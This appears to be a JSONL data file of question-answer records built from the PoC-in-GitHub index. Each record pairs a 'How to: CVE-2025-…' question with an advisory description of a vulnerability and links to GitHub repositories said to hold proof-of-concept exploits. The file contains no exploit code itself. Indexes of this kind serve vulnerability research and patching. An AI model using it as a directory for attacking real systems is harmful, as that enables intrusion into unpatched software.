{"id": "gh_3536ed039b21", "question": "How to: CVE-2025-7605 (2025-07-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEine kritische Schwachstelle wurde in code-projects AVL Rooms 1.0 ausgemacht. Hierbei geht es um eine nicht exakt ausgemachte Funktion der Datei /profile.php. Durch Beeinflussen des Arguments first_name mit unbekannten Daten kann eine sql injection-Schwachstelle ausgenutzt werden. Umgesetzt werden kann der Angriff über das Netzwerk. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [sunhuiHi666/CVE-2025-7605](https://github.com/sunhuiHi666/CVE-2025-7605)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153492"}
{"id": "gh_32c6b65a4882", "question": "How to: CVE-2025-7606 (2025-07-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEs wurde eine Schwachstelle in code-projects AVL Rooms 1.0 entdeckt. Sie wurde als kritisch eingestuft. Es betrifft eine unbekannte Funktion der Datei /city.php. Dank der Manipulation des Arguments city mit unbekannten Daten kann eine sql injection-Schwachstelle ausgenutzt werden. Der Angriff kann über das Netzwerk erfolgen. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [sunhuiHi666/CVE-2025-7606](https://github.com/sunhuiHi666/CVE-2025-7606)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153497"}
{"id": "gh_16e202d2f341", "question": "How to: CVE-2025-7766 (2025-07-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nLantronix Provisioning Manager is vulnerable to XML external entity attacks in configuration files supplied by network devices, leading to unauthenticated remote code execution on hosts with Provisioning Manager installed.\n```\n- [byteReaper77/CVE-2025-7766](https://github.com/byteReaper77/CVE-2025-7766)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153508"}
{"id": "gh_f447e1ef79dd", "question": "How to: CVE-2025-7769 (2025-08-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nTigo Energy's CCA is vulnerable to a command injection vulnerability in the /cgi-bin/mobile_api endpoint when the DEVICE_PING command is called, allowing remote code execution due to improper handling of user input. When used with default credentials, this enables attackers to execute arbitrary commands on the device that could cause potential unauthorized access, service disruption, and data exposure.\n```\n- [byteReaper77/CVE-2025-7769](https://github.com/byteReaper77/CVE-2025-7769)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153513"}
{"id": "gh_a2b45c005f5e", "question": "How to: CVE-2025-7771 (2025-08-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThrottleStop.sys, a legitimate driver, exposes two IOCTL interfaces that allow arbitrary read and write access to physical memory via the MmMapIoSpace function. This insecure implementation can be exploited by a malicious user-mode application to patch the running Windows kernel and invoke arbitrary kernel functions with ring-0 privileges. The vulnerability enables local attackers to execute arbitrary code in kernel context, resulting in privilege escalation and potential follow-on attacks, such as disabling security software or bypassing kernel-level protections. ThrottleStop.sys version 3.0.0.0 and possibly others are affected. Apply updates per vendor instructions.\n```\n- [Yuri08loveElaina/CVE-2025-7771](https://github.com/Yuri08loveElaina/CVE-2025-7771)\n- [fxrstor/ThrottleStopPoC](https://github.com/fxrstor/ThrottleStopPoC)\n- [Demoo1337/ThrottleStop](https://github.com/Demoo1337/ThrottleStop)\n- [Gabriel-Lacorte/CVE-2025-7771](https://github.com/Gabriel-Lacorte/CVE-2025-7771)\n- [AmrHuss/throttlestop-exploit-rw](https://github.com/AmrHuss/throttlestop-exploit-rw)\n- [v31l0x1/ThrottleStopPPL](https://github.com/v31l0x1/ThrottleStopPPL)\n- [xM0kht4r/CVE-2025-7771](https://github.com/xM0kht4r/CVE-2025-7771)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153521"}
{"id": "gh_9cd35fe3bd5f", "question": "How to: CVE-2025-7775 (2025-08-26)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMemory overflow vulnerability leading to Remote Code Execution and/or Denial of Service in NetScaler ADC and NetScaler Gateway when NetScaler is configured as Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server\\n\\n(OR)\\n\\nNetScaler ADC and NetScaler Gateway 13.1, 14.1, 13.1-FIPS and NDcPP: LB virtual servers of type (HTTP, SSL or HTTP_QUIC) bound with IPv6 services or servicegroups bound with IPv6 servers \\n\\n(OR)\\n\\nNetScaler ADC and NetScaler Gateway 13.1, 14.1, 13.1-FIPS and NDcPP: LB virtual servers of type (HTTP, SSL or HTTP_QUIC) bound with DBS IPv6 services or servicegroups bound with IPv6 DBS servers\\n\\n(OR)\\n\\nCR virtual server with type HDX\n```\n- [swabird/CVE-2025-7775-PoC](https://github.com/swabird/CVE-2025-7775-PoC)\n- [Aaqilyousuf/CVE-2025-7775-vulnerable-lab](https://github.com/Aaqilyousuf/CVE-2025-7775-vulnerable-lab)\n- [rxerium/CVE-2025-7775](https://github.com/rxerium/CVE-2025-7775)\n- [mr-r3b00t/CVE-2025-7775](https://github.com/mr-r3b00t/CVE-2025-7775)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153527"}
{"id": "gh_e274aa87fed0", "question": "How to: CVE-2025-7783 (2025-07-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUse of Insufficiently Random Values vulnerability in form-data allows HTTP Parameter Pollution (HPP). This vulnerability is associated with program files lib/form_data.Js.\\n\\nThis issue affects form-data: < 2.5.4, 3.0.0 - 3.0.3, 4.0.0 - 4.0.3.\n```\n- [benweissmann/CVE-2025-7783-poc](https://github.com/benweissmann/CVE-2025-7783-poc)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153531"}
{"id": "gh_a42d172b824e", "question": "How to: CVE-2025-7840 (2025-07-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEs wurde eine Schwachstelle in Campcodes Online Movie Theater Seat Reservation System 1.0 ausgemacht. Sie wurde als problematisch eingestuft. Hiervon betroffen ist ein unbekannter Codeblock der Datei /index.php?page=reserve der Komponente Reserve Your Seat Page. Durch das Beeinflussen des Arguments Firstname/Lastname mit unbekannten Daten kann eine cross site scripting-Schwachstelle ausgenutzt werden. Der Angriff kann über das Netzwerk angegangen werden. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [byteReaper77/CVE-2025-7840](https://github.com/byteReaper77/CVE-2025-7840)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153541"}
{"id": "gh_24e152ef5ac5", "question": "How to: CVE-2025-7892 (2025-07-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEs wurde eine Schwachstelle in IDnow App bis 9.6.0 für Android entdeckt. Sie wurde als problematisch eingestuft. Es geht dabei um eine nicht klar definierte Funktion der Datei AndroidManifest.xml der Komponente de.idnow. Durch das Beeinflussen mit unbekannten Daten kann eine improper export of android application components-Schwachstelle ausgenutzt werden. Der Angriff muss lokal erfolgen. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [FlyingLemonade/CVE-2025-7892-Proof-of-Concept-Login-Form](https://github.com/FlyingLemonade/CVE-2025-7892-Proof-of-Concept-Login-Form)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153550"}
{"id": "gh_edb3cc76d8f4", "question": "How to: CVE-2025-7955 (2025-08-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe RingCentral Communications plugin for WordPress is vulnerable to Authentication Bypass due to improper validation within the ringcentral_admin_login_2fa_verify() function in versions 1.5 to 1.6.8. This makes it possible for unauthenticated attackers to log in as any user simply by supplying identical bogus codes.\n```\n- [Nxploited/CVE-2025-7955](https://github.com/Nxploited/CVE-2025-7955)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153554"}
{"id": "gh_a93b392b2da1", "question": "How to: CVE-2025-8061 (2025-09-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA potential insufficient access control vulnerability was reported in the Lenovo Dispatcher 3.0 and Dispatcher 3.1 drivers used by some Lenovo consumer notebooks that could allow an authenticated local user to execute code with elevated privileges. The Lenovo Dispatcher 3.2 driver is not affected. This vulnerability does not affect systems when the Windows feature Core Isolation Memory Integrity is enabled. Lenovo systems preloaded with Windows 11 have this feature enabled by default.\n```\n- [segura2010/lenovo-dispatcher-poc](https://github.com/segura2010/lenovo-dispatcher-poc)\n- [spawn451/CVE-2025-8061-Exploit](https://github.com/spawn451/CVE-2025-8061-Exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153564"}
{"id": "gh_56d593b72369", "question": "How to: CVE-2025-8067 (2025-08-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA flaw was found in the Udisks daemon, where it allows unprivileged users to create loop devices using the D-BUS system. This is achieved via the loop device handler, which handles requests sent through the D-BUS interface. As two of the parameters of this handle, it receives the file descriptor list and index specifying the file where the loop device should be backed. The function itself validates the index value to ensure it isn't bigger than the maximum value allowed. However, it fails to validate the lower bound, allowing the index parameter to be a negative value. Under these circumstances, an attacker can cause the UDisks daemon to crash or perform a local privilege escalation by gaining access to files owned by privileged users.\n```\n- [born0monday/CVE-2025-8067](https://github.com/born0monday/CVE-2025-8067)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153569"}
{"id": "gh_01f4c51e1813", "question": "How to: CVE-2025-8088 (2025-08-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA path traversal vulnerability affecting the Windows version of WinRAR allows the attackers to execute arbitrary code by crafting malicious archive files. This vulnerability was exploited in the wild and was discovered by Anton Cherepanov, Peter Košinár, and Peter Strýček\\n     from ESET.\n```\n- [jordan922/CVE-2025-8088](https://github.com/jordan922/CVE-2025-8088)\n- [travisbgreen/cve-2025-8088](https://github.com/travisbgreen/cve-2025-8088)\n- [knight0x07/WinRAR-CVE-2025-8088-PoC-RAR](https://github.com/knight0x07/WinRAR-CVE-2025-8088-PoC-RAR)\n- [sxyrxyy/CVE-2025-8088-WinRAR-Proof-of-Concept-PoC-Exploit-](https://github.com/sxyrxyy/CVE-2025-8088-WinRAR-Proof-of-Concept-PoC-Exploit-)\n- [onlytoxi/CVE-2025-8088-Winrar-Tool](https://github.com/onlytoxi/CVE-2025-8088-Winrar-Tool)\n- [0xAbolfazl/CVE-2025-8088-WinRAR-PathTraversal-PoC](https://github.com/0xAbolfazl/CVE-2025-8088-WinRAR-PathTraversal-PoC)\n- [pentestfunctions/CVE-2025-8088-Multi-Document](https://github.com/pentestfunctions/CVE-2025-8088-Multi-Document)\n- [pexlexity/WinRAR-CVE-2025-8088-Path-Traversal-PoC](https://github.com/pexlexity/WinRAR-CVE-2025-8088-Path-Traversal-PoC)\n- [nhattanhh/CVE-2025-8088](https://github.com/nhattanhh/CVE-2025-8088)\n- [ghostn4444/CVE-2025-8088](https://github.com/ghostn4444/CVE-2025-8088)\n- [DeepBlue-dot/CVE-2025-8088-WinRAR-Startup-PoC](https://github.com/DeepBlue-dot/CVE-2025-8088-WinRAR-Startup-PoC)\n- [pescada-dev/-CVE-2025-8088](https://github.com/pescada-dev/-CVE-2025-8088)\n- [AdityaBhatt3010/CVE-2025-8088-WinRAR-Zero-Day-Path-Traversal](https://github.com/AdityaBhatt3010/CVE-2025-8088-WinRAR-Zero-Day-Path-Traversal)\n- [pentestfunctions/best-CVE-2025-8088](https://github.com/pentestfunctions/best-CVE-2025-8088)\n- [kitsuneshade/WinRAR-Exploit-Tool---Rust-Edition](https://github.com/kitsuneshade/WinRAR-Exploit-Tool---Rust-Edition)\n- [walidpyh/CVE-2025-8088](https://github.com/walidpyh/CVE-2025-8088)\n- [hexsecteam/CVE-2025-8088-Winrar-Tool](https://github.com/hexsecteam/CVE-2025-8088-Winrar-Tool)\n- [techcorp/CVE-2025-8088-Exploit](https://github.com/techcorp/CVE-2025-8088-Exploit)\n- [Shinkirou789/Cve-2025-8088-WinRar-vulnerability](https://github.com/Shinkirou789/Cve-2025-8088-WinRar-vulnerability)\n- [hbesljx/CVE-2025-8088-EXP](https://github.com/hbesljx/CVE-2025-8088-EXP)\n- [lucyna77/winrar-exploit](https://github.com/lucyna77/winrar-exploit)\n- [4daysday/cve-2025-8088](https://github.com/4daysday/cve-2025-8088)\n- [xi0onamdev/WinRAR-CVE-2025-8088-Exploitation-Toolkit](https://github.com/xi0onamdev/WinRAR-CVE-2025-8088-Exploitation-Toolkit)\n- [Markusino488/cve-2025-8088](https://github.com/Markusino488/cve-2025-8088)\n- [vitalichkaa/CVE-2025-8088](https://github.com/vitalichkaa/CVE-2025-8088)\n- [ilhamrzr/RAR-Anomaly-Inspector](https://github.com/ilhamrzr/RAR-Anomaly-Inspector)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": true, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153579"}
{"id": "gh_343c5edec519", "question": "How to: CVE-2025-8091 (2025-08-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe EventON Lite plugin for WordPress is vulnerable to Information Exposure in all versions less than, or equal to, 2.4.6 via the add_single_eventon and add_eventon shortcodes due to insufficient restrictions on which posts can be included. This makes it possible for unauthenticated attackers to extract data from password protected, private, or draft posts that they should not have access to.\n```\n- [MooseLoveti/EventON-Lite-CVE-Report](https://github.com/MooseLoveti/EventON-Lite-CVE-Report)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153584"}
{"id": "gh_637c944b0b62", "question": "How to: CVE-2025-8110 (2025-12-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Symbolic link handling in the PutContents API in Gogs allows Local Execution of Code.\n```\n- [rxerium/CVE-2025-8110](https://github.com/rxerium/CVE-2025-8110)\n- [Ashwesker/Ashwesker-CVE-2025-8110](https://github.com/Ashwesker/Ashwesker-CVE-2025-8110)\n- [zAbuQasem/gogs-CVE-2025-8110](https://github.com/zAbuQasem/gogs-CVE-2025-8110)\n- [111ddea/goga-cve-2025-8110](https://github.com/111ddea/goga-cve-2025-8110)\n- [tovd-go/CVE-2025-8110](https://github.com/tovd-go/CVE-2025-8110)\n- [freiwi/CVE-2025-8110](https://github.com/freiwi/CVE-2025-8110)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153589"}
{"id": "gh_70a4dea11f4e", "question": "How to: CVE-2025-8191 (2025-07-26)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEs wurde eine Schwachstelle in macrozheng mall bis 1.0.3 gefunden. Sie wurde als problematisch eingestuft. Betroffen hiervon ist ein unbekannter Ablauf der Datei /swagger-ui/index.html der Komponente Swagger UI. Dank Manipulation des Arguments configUrl mit unbekannten Daten kann eine cross site scripting-Schwachstelle ausgenutzt werden. Umgesetzt werden kann der Angriff über das Netzwerk. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [mayank-s16/Swagger-HTML-Injection-CVE-2025-8191](https://github.com/mayank-s16/Swagger-HTML-Injection-CVE-2025-8191)\n- [byteReaper77/CVE-2025-8191](https://github.com/byteReaper77/CVE-2025-8191)\n- [YanC1e/CVE-2025-8191](https://github.com/YanC1e/CVE-2025-8191)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153594"}
{"id": "gh_c009da86ed46", "question": "How to: CVE-2025-8422 (2025-09-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Propovoice: All-in-One Client Management System plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.7.6.7 via the send_email() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.\n```\n- [RandomRobbieBF/CVE-2025-8422](https://github.com/RandomRobbieBF/CVE-2025-8422)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153606"}
{"id": "gh_602bbb73ad07", "question": "How to: CVE-2025-8471 (2025-08-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEine Schwachstelle wurde in projectworlds Online Admission System 1.0 entdeckt. Sie wurde als kritisch eingestuft. Es geht hierbei um eine nicht näher spezifizierte Funktion der Datei /adminlogin.php. Mittels dem Manipulieren des Arguments a_id mit unbekannten Daten kann eine sql injection-Schwachstelle ausgenutzt werden. Der Angriff kann über das Netzwerk angegangen werden. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [byteReaper77/CVE-2025-8471](https://github.com/byteReaper77/CVE-2025-8471)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153610"}
{"id": "gh_fba687ed748a", "question": "How to: CVE-2025-8550 (2025-08-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn atjiu pybbs bis 6.0.0 wurde eine problematische Schwachstelle ausgemacht. Hierbei betrifft es unbekannten Programmcode der Datei /admin/topic/list. Durch das Beeinflussen des Arguments Username mit unbekannten Daten kann eine cross site scripting-Schwachstelle ausgenutzt werden. Umgesetzt werden kann der Angriff über das Netzwerk. Der Exploit steht zur öffentlichen Verfügung. Der Patch wird als 2fe4a51afbce0068c291bc1818bbc8f7f3b01a22 bezeichnet. Als bestmögliche Massnahme wird Patching empfohlen.\n```\n- [byteReaper77/CVE-2025-8550](https://github.com/byteReaper77/CVE-2025-8550)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153625"}
{"id": "gh_b25d7de1f9a8", "question": "How to: CVE-2025-8570 (2025-09-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe BeyondCart Connector plugin for WordPress is vulnerable to Privilege Escalation due to improper JWT secret management and authorization within the determine_current_user filter in versions 1.4.2 through 2.1.0. This makes it possible for unauthenticated attackers to craft valid tokens and assume any user’s identity.\n```\n- [Nxploited/CVE-2025-8570](https://github.com/Nxploited/CVE-2025-8570)\n- [chimdi2700/CVE-2025-8570](https://github.com/chimdi2700/CVE-2025-8570)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153630"}
{"id": "gh_bd9d18edfa03", "question": "How to: CVE-2025-8571 (2025-08-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nConcrete CMS 9 to 9.4.2 and versions below 8.5.21 are vulnerable to Reflected Cross-Site Scripting (XSS) in the Conversation Messages Dashboard Page. Unsanitized input could cause theft of session cookies or tokens, defacement of web content, redirection to malicious sites, and (if victim is an admin), the execution of unauthorized actions. The Concrete CMS security team gave this vulnerability a CVSS v.4.0 score of 4.8 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks  Fortbridge https://fortbridge.co.uk/  for performing a penetration test and vulnerability assessment on Concrete CMS and reporting this issue.\n```\n- [chimdi2700/CVE-2025-8571](https://github.com/chimdi2700/CVE-2025-8571)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153635"}
{"id": "gh_9f1d1a51465c", "question": "How to: CVE-2025-8671 (2025-08-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA mismatch caused by client-triggered server-sent stream resets between HTTP/2 specifications and the internal architectures of some HTTP/2 implementations may result in excessive server resource consumption leading to denial-of-service (DoS).  By opening streams and then rapidly triggering the server to reset them—using malformed frames or flow control errors—an attacker can exploit incorrect stream accounting. Streams reset by the server are considered closed at the protocol level, even though backend processing continues. This allows a client to cause the server to handle an unbounded number of concurrent streams on a single connection. This CVE will be updated as affected product details are released.\n```\n- [moften/CVE-2025-8671-MadeYouReset-HTTP-2-DDoS](https://github.com/moften/CVE-2025-8671-MadeYouReset-HTTP-2-DDoS)\n- [mateusm1403/PoC-CVE-2025-8671-MadeYouReset-HTTP-2](https://github.com/mateusm1403/PoC-CVE-2025-8671-MadeYouReset-HTTP-2)\n- [abiyeenzo/CVE-2025-8671](https://github.com/abiyeenzo/CVE-2025-8671)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153642"}
{"id": "gh_38199f8f8d5a", "question": "How to: CVE-2025-8714 (2025-08-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUntrusted data inclusion in pg_dump in PostgreSQL allows a malicious superuser of the origin server to inject arbitrary code for restore-time execution as the client operating system account running psql to restore the dump, via psql meta-commands.  pg_dumpall is also affected.  pg_restore is affected when used to generate a plain-format dump.  This is similar to MySQL CVE-2024-21096.  Versions before PostgreSQL 17.6, 16.10, 15.14, 14.19, and 13.22 are affected.\n```\n- [orderby99/CVE-2025-8714-POC](https://github.com/orderby99/CVE-2025-8714-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153647"}
{"id": "gh_a549350f17dd", "question": "How to: CVE-2025-8723 (2025-08-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Cloudflare Image Resizing plugin for WordPress is vulnerable to Remote Code Execution due to missing authentication and insufficient sanitization within its hook_rest_pre_dispatch() method in all versions up to, and including, 1.5.6. This makes it possible for unauthenticated attackers to inject arbitrary PHP into the codebase, achieving remote code execution.\n```\n- [Nxploited/CVE-2025-8723](https://github.com/Nxploited/CVE-2025-8723)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153651"}
{"id": "gh_2a394ef67d67", "question": "How to: CVE-2025-8730 (2025-08-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEine Schwachstelle wurde in Belkin F9K1009 and F9K1010 2.00.04/2.00.09 gefunden. Sie wurde als kritisch eingestuft. Es geht hierbei um eine nicht näher spezifizierte Funktion der Komponente Web Interface. Mittels Manipulieren mit unbekannten Daten kann eine hard-coded credentials-Schwachstelle ausgenutzt werden. Der Angriff kann über das Netzwerk angegangen werden. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [byteReaper77/CVE-2025-8730](https://github.com/byteReaper77/CVE-2025-8730)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153656"}
{"id": "gh_acc6c4a15484", "question": "How to: CVE-2025-8875 (2025-08-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nDeserialization of Untrusted Data vulnerability in N-able N-central allows Local Execution of Code.This issue affects N-central: before 2025.3.1.\n```\n- [rxerium/CVE-2025-8875-CVE-2025-8876](https://github.com/rxerium/CVE-2025-8875-CVE-2025-8876)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153660"}
{"id": "gh_25c900f9ab2a", "question": "How to: CVE-2025-8889 (2025-09-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Compress & Upload WordPress plugin before 1.0.5 does not properly validate uploaded files, allowing high privilege users such as admin to upload arbitrary files on the server even when they should not be allowed to (for example in multisite setup)\n```\n- [siberkampus/CVE-2025-8889](https://github.com/siberkampus/CVE-2025-8889)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153665"}
{"id": "gh_79aeff8ce98d", "question": "How to: CVE-2025-8943 (2025-08-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, in Flowise versions before 3.0.1 the default installation operates without authentication unless explicitly configured. This combination allows unauthenticated network attackers to execute unsandboxed OS commands.\n```\n- [Ashwesker/Ashwesker-CVE-2025-8943](https://github.com/Ashwesker/Ashwesker-CVE-2025-8943)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153674"}
{"id": "gh_1a1ded1b75c7", "question": "How to: CVE-2025-8971 (2025-08-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nDas betrifft eine unbekannte Funktionalität der Datei /admin/operations/travellers.php. Durch das Beeinflussen des Arguments val-username mit unbekannten Daten kann eine sql injection-Schwachstelle ausgenutzt werden. Der Angriff kann über das Netzwerk angegangen werden. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [byteReaper77/CVE-2025-8971](https://github.com/byteReaper77/CVE-2025-8971)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153678"}
